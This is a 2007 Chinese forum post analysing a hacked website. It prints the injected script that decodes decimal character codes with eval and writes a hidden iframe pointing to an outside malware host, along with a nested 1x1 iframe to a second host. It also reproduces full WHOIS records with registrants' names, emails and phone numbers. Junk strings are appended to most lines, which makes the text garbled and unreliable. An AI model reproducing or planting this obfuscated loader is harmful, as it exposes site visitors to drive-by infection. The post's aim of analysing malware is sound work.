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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ".*a)  
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http://www.areway.cn/?p=175 (F4dFh  
f//j{P[  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 5W:Gl?$S}  
          b3y,4ke"  
<script>t=’60,105,102,114,97,109,101, ~,M;+T}[r  
32,115,114,99,61,104,116,116,112,58,47,47, Kc-A-P &Ry  
102,114,101,101,46,117,45,117,117,117,46,99, o%N0K   
110,47,101,114,114,111,114,46,104,116,109, I49=ozPP  
32,119,105,100,116,104,61,49,48,48,32,104, n41\y:CAo  
101,105,103,104,116,61,48,62,60,47,105,102, ^,ZvKA"}+/  
114,97,109,101,62′; ya*q;D  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> btB(n<G2#  
                                                                                                  K_<lO,[S  
<script>t=’60,105,102,114,97,109,101,32,115, Bcd0   
114,99,61,104,116,116,112,58,47,47,102,114, >gS5[`xRE  
101,101,46,117,45,117,117,117,46,99,110,47, ;k63RNT,M&  
101,114,114,111,114,46,104,116,109,32,119, ] fwTi(4y  
105,100,116,104,61,49,48,48,32,104,101,105, pO7{3%  
103,104,116,61,48,62,60,47,105,102,114,97, 4/mj"PBKL  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); f4aD0.K.g|  
document.write(t);</script> F_M~!]<na  
                                                                                                  mXN1b!  
<html xmlns=” =E6i1x%j  
http://www.w3.org/1999/xhtml yo Q?lh  
“> wZ\e3H z  
<head> VW<" c 5|  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> ]>S$R&a  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> H pjIp.  
<title>首页 - 爱生活家庭网 644hQW&W  
                                                                                                                                                    AIRVvW~($  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 zvQ^f@lq2  
转换字符串后的大概内容是(谁点击后果自付): Sj]T{3mi  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… /K Jx n6  
                                                                                                                                  !~$YD*" S  
查询玉米u-uuu.cn的详细信息: 3Oig/KZ  
Domain Name: u-uuu.cn Yf2+@E  
ROID: 20070901s10001s64972306-cn 7K5o" "  
Domain Status: ok =-1^K  
Registrant Organization: 王雷 WSpg(\Cs  
Registrant Name: 王雷 (>Q9jNW  
Administrative Email: czlovexs@126.com 6Kv}2M')+  
Sponsoring Registrar: 北京万网志成科技有限公司 Q+%m+ /Zq  
Name Server:ns.yovole.com ~1wdAq`'a  
Name Server:ns1.yovole.com >FMT#x t  
Registration Date: 2007-09-01 17:54 J?,!1V=  
Expiration Date: 2008-09-01 17:54 5)SZd)  
最后PING了一下地址 都没有什么…. n9-q5X^e>  
                                                                                                2YP"nj#  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. @T~#Gwv  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 7gR;   
<script language=”javascript” src=” l.NkS   
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |2t7mat  
> qeO6}A"^|  
这个玉米应该有可能是木马作者的: %Cbc@=k  
foafau.info的详细信息: uK&wS#uY  
Access to INFO WHOIS information is provided to assist persons in <K.C?M(9  
determining the contents of a domain name registration record in the ZZ.0'   
Afilias registry database. The data in this record is provided by krnk%ug  
Afilias Limited for informational purposes only, and Afilias does not dW=D]  
guarantee its accuracy.  This service is intended only for query-based {i7Fu+xZj  
access. You agree that you will use this data only for lawful purposes nY5n%>8  
and that, under no circumstances will you use this data to: (a) allow, LXLIos55S  
enable, or otherwise support the transmission by e-mail, telephone, or <0,ah4C  
facsimile of mass unsolicited, commercial advertising or solicitations 'y@ 2,9v  
to entities other than the data recipient’s own existing customers; or m*Lv,yw %a  
(b) enable high volume, automated, electronic processes that send !+26a*P  
queries or data to the systems of Registry Operator, a Registrar, or [XU{)l  
Afilias except as reasonably necessary to register domain names or u>i+R"hi"  
modify existing registrations. All rights reserved. Afilias reserves H|Fqc=qp  
the right to modify these terms at any time. By submitting this query, /Geks/  
you agree to abide by this policy. Qmc;s{-r;  
Domain ID:D22418703-LRMS @v-)|8GdY  
Domain Name:FOAFAU.INFO X=c ,`&^  
Created On:20-Nov-2007 16:05:42 UTC m=y,_Pz>U  
Last Updated On:20-Nov-2007 16:05:44 UTC T[$hYe8%^  
Expiration Date:20-Nov-2008 16:05:42 UTC $^+KR]\q  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) z?) RF[  
Status:CLIENT DELETE PROHIBITED *$Wx*Jo  
Status:CLIENT RENEW PROHIBITED $X\` 7`v  
Status:CLIENT TRANSFER PROHIBITED 63dtO{:4  
Status:CLIENT UPDATE PROHIBITED 2Z9gOd<M~  
Status:TRANSFER PROHIBITED @aPu}Hi  
Registrant ID:GODA-040110615 n~>CE"q  
Registrant Name:liu hong ~aq?Kk  
Registrant Organization: +nyN+X34B  
Registrant Street1:beijing y8WXp_\  
Registrant Street2: `::(jW.KO  
Registrant Street3: ; dHOH\,:  
Registrant City:beijing iKEKk\j-w  
Registrant State/Province: L"vG:Mq@D  
Registrant Postal Code:100000 ^)P5(fJ  
Registrant Country:CN &/#Tk>:  
Registrant Phone:+86.860108888777 i^V4N4ux]  
Registrant Phone Ext.: '*{Rn7B5  
Registrant FAX: xbH!:R;  
Registrant FAX Ext.: $8ww]}K  
Registrant Email:bbbshiji@163.com A5H8+gATK  
Admin ID:GODA-240110615 VS@W.0/  
Admin Name:liu hong c68$pgG  
Admin Organization: RknSWuFKt  
Admin Street1:beijing Gqz)='  
Admin Street2: J<:D~@qq  
Admin Street3: :bF2b..XOu  
Admin City:beijing %|6Q7'@p  
Admin State/Province: 7z0 uj  
Admin Postal Code:100000 WMRgf~TY=2  
Admin Country:CN ~Wd8>a{w  
Admin Phone:+86.860108888777 hD.wKX?oO  
Admin Phone Ext.: ?j$8Uy$$  
Admin FAX: ump:dL5{  
Admin FAX Ext.: ?;7>`F6ld  
Admin Email:bbbshiji@163.com f7AJSHe  
Billing ID:GODA-340110615 yW,#&>]# |  
Billing Name:liu hong O NzdCgY  
Billing Organization: Dq1XZ%8  
Billing Street1:beijing ^>}[[:(6/  
Billing Street2: [67f;?b  
Billing Street3: hr"+0KeX  
Billing City:beijing ZjbG&oc  
Billing State/Province: uC ;PP=z  
Billing Postal Code:100000 q@yabuN@,j  
Billing Country:CN _I"<?sh 3  
Billing Phone:+86.860108888777 r\- k/0  
Billing Phone Ext.: 0lq4   
Billing FAX: }@0.  
Billing FAX Ext.: ZaV66Y>  
Billing Email:bbbshiji@163.com !_z>w6uR  
Tech ID:GODA-140110615 n{NgtH\V  
Tech Name:liu hong @{GxQzo  
Tech Organization: Gkvd{G?F  
Tech Street1:beijing Q 6<Uui w  
Tech Street2: >l*9DaZ  
Tech Street3: eeR@p$4i  
Tech City:beijing e$|)wOwU  
Tech State/Province: fe`G^hV  
Tech Postal Code:100000 i]WlMC6  
Tech Country:CN HSFf&|qqx  
Tech Phone:+86.860108888777 gG>^h1_o~  
Tech Phone Ext.: ?PtRb:RHt  
Tech FAX: !{aA*E{  
Tech FAX Ext.: 3$f5][+U  
Tech Email:bbbshiji@163.com /'^>-!8_1  
Name Server:NS27.DOMAINCONTROL.COM T:5%sN;#O  
Name Server:NS28.DOMAINCONTROL.COM siZ_JJW  
Name Server: B{7/A[$%C  
Name Server: Mp}NUQHE  
Name Server: 1M FpuPJk  
Name Server: jmVy4* P_  
Name Server: jJC( (1|  
Name Server: p%_ :(  
Name Server: nezbmpL4  
Name Server: ;XuE Mq,Di  
Name Server: 6u3(G j@  
Name Server: &Y2P!\\2  
Name Server: X,CF Y  
                                                                                                          >5W"a?(  
接着下载每个文件里面的代码: UwT$IKR  
一步一步看.. `;GGuJb \  
?2>v5p  
Av4E ?@R  
mQuaO# I,  
[)c|oh%  
4=cq76  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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